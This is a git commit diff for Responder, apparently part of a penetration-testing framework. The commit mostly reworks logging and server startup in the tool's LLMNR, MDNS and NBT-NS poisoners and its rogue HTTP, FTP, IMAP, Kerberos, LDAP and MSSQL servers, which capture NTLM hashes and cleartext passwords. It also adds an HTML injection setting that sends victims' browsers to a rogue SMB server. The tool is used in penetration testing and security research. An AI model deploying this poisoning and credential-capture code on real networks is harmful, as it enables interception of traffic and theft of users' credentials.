third pass:

- All servers back online
- modified logging
This commit is contained in:
byt3bl33d3r 2015-08-03 05:34:46 +02:00
parent 46356b2ad5
commit fa59ca466b
19 changed files with 545 additions and 407 deletions

View file

@ -159,6 +159,11 @@
#Custom WPAD Script
WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}'
#HTML answer to inject in HTTP responses (before </body> tag).
#Set to an empty string to disable.
#In this example, we redirect make users' browsers issue a request to our rogue SMB server.
HTMLToInject = <img src='file://RespProxySrv/pictures/logo.jpg' alt='Loading' height='1' width='1'>
[[HTTPS Server]]
#Configure SSL Certificates to use

View file

@ -26,9 +26,7 @@ from core.responder.odict import OrderedDict
from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer
from core.responder.utils import *
class LLMNR:
def start(self):
def start():
try:
server = ThreadingUDPLLMNRServer(('', 5355), LLMNRServer)
t = threading.Thread(name='LLMNR', target=server.serve_forever)
@ -80,9 +78,9 @@ def IsICMPRedirectPlausible(IP):
dnsip.extend(ip[1:])
for x in dnsip:
if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False:
print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5)
print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5)
print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5)
settings.Config.AnalyzeLogger.warning("[Analyze mode: ICMP] You can ICMP Redirect on this network.")
settings.Config.AnalyzeLogger.warning("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x))
settings.Config.AnalyzeLogger.warning("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.")
else:
pass
@ -109,18 +107,15 @@ class LLMNRServer(BaseRequestHandler):
# Analyze Mode
if settings.Config.AnalyzeMode:
LineHeader = "[Analyze mode: LLMNR]"
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
settings.Config.AnalyzeLogger.warning("[Analyze mode: LLMNR]{} Request by {} for {}, ignoring".format(self.client_address[0], Name))
# Poisoning Mode
else:
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
Buffer.calculate()
soc.sendto(str(Buffer), self.client_address)
LineHeader = "[*] [LLMNR]"
print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
settings.Config.PoisonersLogger.warning("[LLMNR] Poisoned answer sent to {} for name {}".format(self.client_address[0], Name))
if Finger is not None:
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
settings.Config.ResponderLogger.info("[FINGER] OS Version: {}".format(Finger[0]))
settings.Config.ResponderLogger.info("[FINGER] Client Version: {}".format(Finger[1]))

View file

@ -24,9 +24,7 @@ from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer
from core.responder.packets import MDNS_Ans
from core.responder.utils import *
class MDNS:
def start(self):
def start():
try:
server = ThreadingUDPMDNSServer(('', 5353), MDNSServer)
t = threading.Thread(name='MDNS', target=server.serve_forever)
@ -56,12 +54,15 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
UDPServer.server_bind(self)
def Parse_MDNS_Name(data):
try:
data = data[12:]
NameLen = struct.unpack('>B',data[0])[0]
Name = data[1:1+NameLen]
NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
return Name+'.'+Name_
except IndexError:
return None
def Poisoned_MDNS_Name(data):
data = data[12:]
@ -79,14 +80,14 @@ class MDNSServer(BaseRequestHandler):
Request_Name = Parse_MDNS_Name(data)
# Break out if we don't want to respond to this host
if RespondToThisHost(self.client_address[0], Request_Name) is not True:
if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True):
return None
try:
# Analyze Mode
if settings.Config.AnalyzeMode:
if Parse_IPV6_Addr(data):
print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
settings.Config.AnalyzeLogger.warning('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (self.client_address[0], Request_Name))
# Poisoning Mode
else:
@ -97,7 +98,7 @@ class MDNSServer(BaseRequestHandler):
Buffer.calculate()
soc.sendto(str(Buffer), (MADDR, MPORT))
print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
settings.Config.PoisonersLogger.warning('[MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name))
except Exception:
raise

View file

@ -24,9 +24,7 @@ from core.responder.packets import NBT_Ans
from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer
from core.responder.utils import *
class NBTNS:
def start(self):
def start():
try:
server = ThreadingUDPServer(('', 137), NBTNSServer)
t = threading.Thread(name='NBTNS', target=server.serve_forever)
@ -88,18 +86,16 @@ class NBTNSServer(BaseRequestHandler):
# Analyze Mode
if settings.Config.AnalyzeMode:
LineHeader = "[Analyze mode: NBT-NS]"
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
settings.Config.AnalyzeLogger.warning("[Analyze mode: NBT-NS] Request by %s for %s, ignoring" % (self.client_address[0], Name))
# Poisoning Mode
else:
Buffer = NBT_Ans()
Buffer.calculate(data)
socket.sendto(str(Buffer), self.client_address)
LineHeader = "[*] [NBT-NS]"
print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1)
settings.Config.PoisonersLogger.warning("[NBT-NS] Poisoned answer sent to %s for name %s (service: %s)" % (self.client_address[0], Name, NBT_NS_Role(data[43:46])))
if Finger is not None:
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
settings.Config.ResponderLogger.info("[FINGER] OS Version : %s" % Finger[0])
settings.Config.ResponderLogger.info("[FINGER] Client Version : %s" % Finger[1])

View file

@ -64,5 +64,5 @@ def RunSmbFinger(host):
if data[8:10] == "\x73\x16":
return OsNameClientVersion(data)
except:
print color("[!] ", 1, 1) +" Fingerprint failed"
settings.Config.AnalyzeLogger.warning("Fingerprint failed for host: {}".format(host))
return None

View file

@ -19,6 +19,8 @@ import sys
import socket
import utils
import logging
from core.logger import logger
from core.configwatcher import ConfigWatcher
__version__ = 'Responder 2.2'
@ -114,15 +116,16 @@ class Settings(ConfigWatcher):
self.Serve_Always = self.toBool(self.config['Responder']['HTTP Server']['Serve-Always'])
self.Serve_Html = self.toBool(self.config['Responder']['HTTP Server']['Serve-Html'])
self.Html_Filename = self.config['Responder']['HTTP Server']['HtmlFilename']
self.HtmlToInject = self.config['Responder']['HTTP Server']['HTMLToInject']
self.Exe_Filename = self.config['Responder']['HTTP Server']['ExeFilename']
self.Exe_DlName = self.config['Responder']['HTTP Server']['ExeDownloadName']
self.WPAD_Script = self.config['Responder']['HTTP Server']['WPADScript']
if not os.path.exists(self.Html_Filename):
print utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1)
print "Warning: %s: file not found" % self.Html_Filename
if not os.path.exists(self.Exe_Filename):
print utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1)
print "Warning: %s: file not found" % self.Exe_Filename
# SSL Options
self.SSLKey = self.config['Responder']['HTTPS Server']['SSLKey']
@ -146,8 +149,9 @@ class Settings(ConfigWatcher):
self.AnalyzeMode = options.analyze
#self.Upstream_Proxy = options.Upstream_Proxy
self.Verbose = False
if options.log_level == 'debug':
self.Verbose = True
self.CommandLine = str(sys.argv)
self.Bind_To = utils.FindLocalIP(self.Interface)
@ -158,7 +162,7 @@ class Settings(ConfigWatcher):
self.NumChal = self.config['Responder']['Challenge']
if len(self.NumChal) is not 16:
print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1)
print "The challenge must be exactly 16 chars long.\nExample: 1122334455667788"
sys.exit(-1)
self.Challenge = ""
@ -166,23 +170,12 @@ class Settings(ConfigWatcher):
self.Challenge += self.NumChal[i:i+2].decode("hex")
# Set up logging
logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%Y-%m-%d %H:%M:%S')
logging.warning('Responder Started: {}'.format(self.CommandLine))
formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
self.ResponderLogger = logger().setup_logger("Responder", formatter, self.SessionLogFile)
#logging.warning('Responder Started: {}'.format(self.CommandLine))
#logging.warning('Responder Config: {}'.format(self))
Formatter = logging.Formatter('%(asctime)s - %(message)s')
PLog_Handler = logging.FileHandler(self.PoisonersLogFile, 'w')
ALog_Handler = logging.FileHandler(self.AnalyzeLogFile, 'a')
PLog_Handler.setLevel(logging.INFO)
ALog_Handler.setLevel(logging.INFO)
PLog_Handler.setFormatter(Formatter)
ALog_Handler.setFormatter(Formatter)
self.PoisonersLogger = logger().setup_logger("Poison log", formatter, self.PoisonersLogFile)
self.AnalyzeLogger = logger().setup_logger("Analyze Log", formatter, self.AnalyzeLogFile)
self.PoisonersLogger = logging.getLogger('Poisoners Log')
self.PoisonersLogger.addHandler(PLog_Handler)
self.AnalyzeLogger = logging.getLogger('Analyze Log')
self.AnalyzeLogger.addHandler(ALog_Handler)
global Config
Config = Settings()

View file

@ -21,34 +21,7 @@ import logging
import socket
import time
import settings
try:
import sqlite3
except:
print "[!] Please install python-sqlite3 extension."
sys.exit(0)
def color(txt, code = 1, modifier = 0):
if txt.startswith('[*]'):
settings.Config.PoisonersLogger.warning(txt)
elif 'Analyze' in txt:
settings.Config.AnalyzeLogger.warning(txt)
# No colors for windows...
if os.name == 'nt':
return txt
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
def text(txt):
logging.info(txt)
if os.name == 'nt':
return txt
return '\r'+re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt)
import sqlite3
def RespondToThisIP(ClientIp):
@ -102,13 +75,12 @@ def FindLocalIP(Iface):
return ret
except socket.error:
print color("[!] Error: %s: Interface not found" % Iface, 1)
sys.exit(-1)
# Function used to write captured hashs to a file.
def WriteData(outfile, data, user):
logging.info("[*] Captured Hash: %s" % data)
settings.Config.ResponderLogger.info("[*] Captured Hash: %s" % data)
if os.path.isfile(outfile) == False:
with open(outfile,"w") as outf:
@ -176,23 +148,22 @@ def SaveToDb(result):
if count == 0 or settings.Config.Verbose:
if len(result['client']):
print text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3)))
settings.Config.ResponderLogger.info("[%s] %s Client : %s" % (result['module'], result['type'], result['client']))
if len(result['hostname']):
print text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3)))
settings.Config.ResponderLogger.info("[%s] %s Hostname : %s" % (result['module'], result['type'], result['hostname']))
if len(result['user']):
print text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3)))
settings.Config.ResponderLogger.info("[%s] %s Username : %s" % (result['module'], result['type'], result['user']))
# Bu order of priority, print cleartext, fullhash, or hash
# By order of priority, print cleartext, fullhash, or hash
if len(result['cleartext']):
print text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3)))
settings.Config.ResponderLogger.info("[%s] %s Password : %s" % (result['module'], result['type'], result['cleartext']))
elif len(result['fullhash']):
print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3)))
settings.Config.ResponderLogger.info("[%s] %s Hash : %s" % (result['module'], result['type'], result['fullhash']))
elif len(result['hash']):
print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3)))
settings.Config.ResponderLogger.info("[%s] %s Hash : %s" % (result['module'], result['type'], result['hash']))
else:
print color('[*]', 2, 1), 'Skipping previously captured hash for %s' % result['user']
settings.Config.PoisonersLogger.warning('Skipping previously captured hash for %s' % result['user'])
def Parse_IPV6_Addr(data):
@ -238,88 +209,6 @@ def NBT_NS_Role(data):
return Role[data] if data in Role else "Service not known"
def banner():
banner = "\n".join([
' __',
' .----.-----.-----.-----.-----.-----.--| |.-----.----.',
' | _| -__|__ --| _ | _ | | _ || -__| _|',
' |__| |_____|_____| __|_____|__|__|_____||_____|__|',
' |__|'
])
print banner
print "\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__
print ""
print " Original work by Laurent Gaffie (lgaffie@trustwave.com)"
print " To kill this script hit CRTL-C"
print ""
def StartupMessage():
enabled = color('[ON]', 2, 1)
disabled = color('[OFF]', 1, 1)
print ""
print color("[+] ", 2, 1) + "Poisoners:"
print ' %-27s' % "LLMNR" + enabled
print ' %-27s' % "NBT-NS" + enabled
print ' %-27s' % "DNS/MDNS" + enabled
print ""
print color("[+] ", 2, 1) + "Servers:"
print ' %-27s' % "HTTP server" + (enabled if settings.Config.HTTP_On_Off else disabled)
print ' %-27s' % "HTTPS server" + (enabled if settings.Config.SSL_On_Off else disabled)
print ' %-27s' % "WPAD proxy" + (enabled if settings.Config.WPAD_On_Off else disabled)
print ' %-27s' % "SMB server" + (enabled if settings.Config.SMB_On_Off else disabled)
print ' %-27s' % "Kerberos server" + (enabled if settings.Config.Krb_On_Off else disabled)
print ' %-27s' % "SQL server" + (enabled if settings.Config.SQL_On_Off else disabled)
print ' %-27s' % "FTP server" + (enabled if settings.Config.FTP_On_Off else disabled)
print ' %-27s' % "IMAP server" + (enabled if settings.Config.IMAP_On_Off else disabled)
print ' %-27s' % "POP3 server" + (enabled if settings.Config.POP_On_Off else disabled)
print ' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled)
print ' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled)
print ' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled)
print ""
print color("[+] ", 2, 1) + "HTTP Options:"
print ' %-27s' % "Always serving EXE" + (enabled if settings.Config.Serve_Always else disabled)
print ' %-27s' % "Serving EXE" + (enabled if settings.Config.Serve_Exe else disabled)
print ' %-27s' % "Serving HTML" + (enabled if settings.Config.Serve_Html else disabled)
print ' %-27s' % "Upstream Proxy" + (enabled if settings.Config.Upstream_Proxy else disabled)
#print ' %-27s' % "WPAD script" + settings.Config.WPAD_Script
print ""
print color("[+] ", 2, 1) + "Poisoning Options:"
print ' %-27s' % "Analyze Mode" + (enabled if settings.Config.AnalyzeMode else disabled)
print ' %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled)
print ' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled)
print ' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled)
print ' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled)
print ""
print color("[+] ", 2, 1) + "Generic Options:"
print ' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1)
print ' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1)
print ' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1)
if settings.Config.Upstream_Proxy:
print ' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1)
if len(settings.Config.RespondTo):
print ' %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1)
if len(settings.Config.RespondToName):
print ' %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1)
if len(settings.Config.DontRespondTo):
print ' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1)
if len(settings.Config.DontRespondToName):
print ' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1)
print ""
print ""
# Useful for debugging
def hexdump(src, l=0x16):
res = []

View file

@ -87,15 +87,15 @@ def ParsePacket(Payload):
def RAPThisDomain(Client,Domain):
PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80")
if PDC is not None:
print text("[LANMAN] Detected Domains: %s" % ', '.join(PDC))
settings.Config.ResponderLogger.info("[LANMAN] Detected Domains: %s" % ', '.join(PDC))
SQL = RapFinger(Client,Domain,"\x04\x00\x00\x00")
if SQL is not None:
print text("[LANMAN] Detected SQL Servers on domain %s: %s" % (Domain, ', '.join(SQL)))
settings.Config.ResponderLogger.info("[LANMAN] Detected SQL Servers on domain %s: %s" % (Domain, ', '.join(SQL)))
WKST = RapFinger(Client,Domain,"\xff\xff\xff\xff")
if WKST is not None:
print text("[LANMAN] Detected Workstations/Servers on domain %s: %s" % (Domain, ', '.join(WKST)))
settings.Config.ResponderLogger.info("[LANMAN] Detected Workstations/Servers on domain %s: %s" % (Domain, ', '.join(WKST)))
def RapFinger(Host, Domain, Type):
try:
@ -169,7 +169,7 @@ def BecomeBackup(data,Client):
Role = NBT_NS_Role(data[45:48])
if settings.Config.AnalyzeMode:
print text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain))
settings.Config.AnalyzeLogger.warning("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain))
print RAPThisDomain(Client, Domain)
except:
@ -184,7 +184,7 @@ def ParseDatagramNBTNames(data,Client):
if Role2 == "Domain Controller" or Role2 == "Browser Election" or Role2 == "Local Master Browser" and settings.Config.AnalyzeMode:
print text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2))
settings.Config.AnalyzeLogger.warning('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2))
print RAPThisDomain(Client, Domain)
except:
pass

View file

@ -15,12 +15,41 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import threading
from core.utils import *
from SocketServer import BaseRequestHandler
from core.packets import FTPPacket
from core.responder.utils import *
from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer
from core.responder.packets import FTPPacket
class FTP(BaseRequestHandler):
class FTP:
def start(self):
try:
if OsInterfaceIsSupported():
server = ThreadingTCPServer((settings.Config.Bind_To, 21), FTP1)
else:
server = ThreadingTCPServer(('', 21), FTP1)
t = threading.Thread(name='SMB', target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception as e:
print "Error starting SMB server: {}".format(e)
print_exc()
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = 1
def server_bind(self):
if OsInterfaceIsSupported():
try:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
except:
pass
TCPServer.server_bind(self)
class FTP1(BaseRequestHandler):
def handle(self):
try:
self.request.send(str(FTPPacket()))

View file

@ -24,10 +24,14 @@ from SocketServer import BaseServer, BaseRequestHandler, StreamRequestHandler, T
from base64 import b64decode, b64encode
from core.responder.utils import *
from core.logger import logger
from core.responder.packets import NTLM_Challenge
from core.responder.packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans
from core.responder.packets import WPADScript, ServeExeFile, ServeHtmlFile
formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("HTTP", formatter)
class HTTP:
def start(self):
@ -113,7 +117,7 @@ def GrabCookie(data, host):
if Cookie:
Cookie = Cookie.group(0).replace('Cookie: ', '')
if len(Cookie) > 1 and settings.Config.Verbose:
print text("[HTTP] Cookie : %s " % Cookie)
log.info("[HTTP] Cookie : {}".format(Cookie))
return Cookie
else:
return False
@ -124,7 +128,7 @@ def GrabHost(data, host):
if Host:
Host = Host.group(0).replace('Host: ', '')
if settings.Config.Verbose:
print text("[HTTP] Host : %s " % color(Host, 3))
log.info("[HTTP] Host : {}".format(Host, 3))
return Host
else:
return False
@ -152,7 +156,7 @@ def RespondWithFile(client, filename, dlname=None):
Buffer = ServeHtmlFile(Payload = ServeFile(filename))
Buffer.calculate()
print text("[HTTP] Sending file %s to %s" % (filename, client))
log.info("[HTTP] Sending file {} to {}".format(filename, client))
return str(Buffer)
@ -161,13 +165,13 @@ def GrabURL(data, host):
POST = re.findall('(?<=POST )[^HTTP]*', data)
POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data)
if GET and settings.Config.Verbose:
print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5)))
if GET:
log.info("[HTTP] GET request from: {} URL: {}".format(host, ''.join(GET)))
if POST and settings.Config.Verbose:
print text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5)))
if POST:
log.info("[HTTP] POST request from: {} URL: {}".format(host, ''.join(POST)))
if len(''.join(POSTDATA)) > 2:
print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip())
log.info("[HTTP] POST Data: {}".format(''.join(POSTDATA).strip()))
# Handle HTTP packet sequence.
def PacketSequence(data, client):
@ -205,7 +209,7 @@ def PacketSequence(data, client):
ParseHTTPHash(NTLM_Auth, client)
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
print text("[HTTP] WPAD (auth) file sent to %s" % client)
log.info("[HTTP] WPAD (auth) file sent to %s" % client)
return WPAD_Custom
else:
@ -230,7 +234,7 @@ def PacketSequence(data, client):
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
if settings.Config.Verbose:
print text("[HTTP] WPAD (auth) file sent to %s" % client)
log.info("[HTTP] WPAD (auth) file sent to %s" % client)
return WPAD_Custom
else:
@ -242,12 +246,12 @@ def PacketSequence(data, client):
if settings.Config.Basic == True:
Response = IIS_Basic_401_Ans()
if settings.Config.Verbose:
print text("[HTTP] Sending BASIC authentication request to %s" % client)
log.info("[HTTP] Sending BASIC authentication request to %s" % client)
else:
Response = IIS_Auth_401_Ans()
if settings.Config.Verbose:
print text("[HTTP] Sending NTLM authentication request to %s" % client)
log.info("[HTTP] Sending NTLM authentication request to %s" % client)
return str(Response)
@ -265,7 +269,7 @@ class HTTP1(BaseRequestHandler):
if Buffer and settings.Config.Force_WPAD_Auth == False:
self.request.send(Buffer)
if settings.Config.Verbose:
print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
log.info("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
else:
Buffer = PacketSequence(data,self.client_address[0])
@ -290,7 +294,7 @@ class HTTPS(StreamRequestHandler):
if Buffer and settings.Config.Force_WPAD_Auth == False:
self.exchange.send(Buffer)
if settings.Config.Verbose:
print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
log.info("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
else:
Buffer = PacketSequence(data,self.client_address[0])

View file

@ -15,14 +15,43 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import settings
import core.responder.settings as settings
import threading
from utils import *
from SocketServer import BaseRequestHandler
from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd
from core.responder.utils import *
from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer
from core.responder.packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd
class IMAP:
def start(self):
try:
if OsInterfaceIsSupported():
server = ThreadingTCPServer((settings.Config.Bind_To, 143), IMAP4)
else:
server = ThreadingTCPServer(('', 143), IMAP4)
t = threading.Thread(name='IMAP', target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception as e:
print "Error starting IMAP server: {}".format(e)
print_exc()
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = 1
def server_bind(self):
if OsInterfaceIsSupported():
try:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
except:
pass
TCPServer.server_bind(self)
# IMAP4 Server class
class IMAP(BaseRequestHandler):
class IMAP4(BaseRequestHandler):
def handle(self):
try:

View file

@ -16,10 +16,55 @@
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import struct
import settings
import core.responder.settings as settings
import threading
from traceback import print_exc
from SocketServer import BaseRequestHandler
from utils import *
from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer, UDPServer
from core.responder.utils import *
class Kerberos:
def start(self):
try:
if OsInterfaceIsSupported():
server1 = ThreadingTCPServer((settings.Config.Bind_To, 88), KerbTCP)
server2 = ThreadingUDPServer((settings.Config.Bind_To, 88), KerbUDP)
else:
server1 = ThreadingTCPServer(('', 88), KerbTCP)
server2 = ThreadingUDPServer(('', 88), KerbUDP)
for server in [server1, server2]:
t = threading.Thread(name='Kerberos', target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception as e:
print "Error starting Kerberos server: {}".format(e)
print_exc()
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = 1
def server_bind(self):
if OsInterfaceIsSupported():
try:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
except:
pass
TCPServer.server_bind(self)
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
allow_reuse_address = 1
def server_bind(self):
if OsInterfaceIsSupported():
try:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
except:
pass
UDPServer.server_bind(self)
def ParseMSKerbv5TCP(Data):
MsgType = Data[21:22]

View file

@ -16,11 +16,41 @@
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import struct
import settings
import core.responder.settings as settings
import threading
from traceback import print_exc
from SocketServer import BaseRequestHandler
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
from utils import *
from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer
from core.responder.packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
from core.responder.utils import *
class LDAP:
def start(self):
try:
if OsInterfaceIsSupported():
server = ThreadingTCPServer((settings.Config.Bind_To, 389), LDAPServer)
else:
server = ThreadingTCPServer(('', 389), LDAPServer)
t = threading.Thread(name='LDAP', target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception as e:
print "Error starting LDAP server: {}".format(e)
print_exc()
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = 1
def server_bind(self):
if OsInterfaceIsSupported():
try:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
except:
pass
TCPServer.server_bind(self)
def ParseSearch(data):
Search1 = re.search('(objectClass)', data)
@ -66,7 +96,7 @@ def ParseLDAPHash(data, client):
})
if LMhashLen < 2 and settings.Config.Verbose:
print text("[LDAP] Ignoring anonymous NTLM authentication")
settings.Config.ResponderLogger.info("[LDAP] Ignoring anonymous NTLM authentication")
def ParseNTLM(data,client):
Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data)
@ -119,10 +149,10 @@ def ParseLDAPPacket(data, client):
else:
if settings.Config.Verbose:
print text('[LDAP] Operation not supported')
settings.Config.ResponderLogger.info('[LDAP] Operation not supported')
# LDAP Server class
class LDAP(BaseRequestHandler):
class LDAPServer(BaseRequestHandler):
def handle(self):
try:
while True:

View file

@ -16,11 +16,40 @@
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import struct
import settings
import core.responder.settings as settings
import threading
from SocketServer import BaseRequestHandler
from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
from utils import *
from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer
from core.responder.packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
from core.responder.utils import *
class MSSQL:
def start(self):
try:
if OsInterfaceIsSupported():
server = ThreadingTCPServer((settings.Config.Bind_To, 1433), MSSQLServer)
else:
server = ThreadingTCPServer(('', 1433), MSSQLServer)
t = threading.Thread(name='MSSQL', target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception as e:
print "Error starting MSSQL server: {}".format(e)
print_exc()
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = 1
def server_bind(self):
if OsInterfaceIsSupported():
try:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
except:
pass
TCPServer.server_bind(self)
class TDS_Login_Packet():
def __init__(self, data):
@ -119,11 +148,11 @@ def ParseClearTextSQLPass(data, client):
})
# MSSQL Server class
class MSSQL(BaseRequestHandler):
class MSSQLServer(BaseRequestHandler):
def handle(self):
if settings.Config.Verbose:
print text("[MSSQL] Received connection from %s" % self.client_address[0])
settings.Config.ResponderLogger.info("[MSSQL] Received connection from %s" % self.client_address[0])
try:
while True:

View file

@ -15,14 +15,44 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import settings
import core.responder.settings as settings
import threading
from traceback import print_exc
from utils import *
from SocketServer import BaseRequestHandler
from packets import POPOKPacket
from core.responder.utils import *
from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer
from core.responder.packets import POPOKPacket
class POP3:
def start(self):
try:
if OsInterfaceIsSupported():
server = ThreadingTCPServer((settings.Config.Bind_To, 110), POP3Server)
else:
server = ThreadingTCPServer(('', 110), POP3Server)
t = threading.Thread(name='POP3', target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception as e:
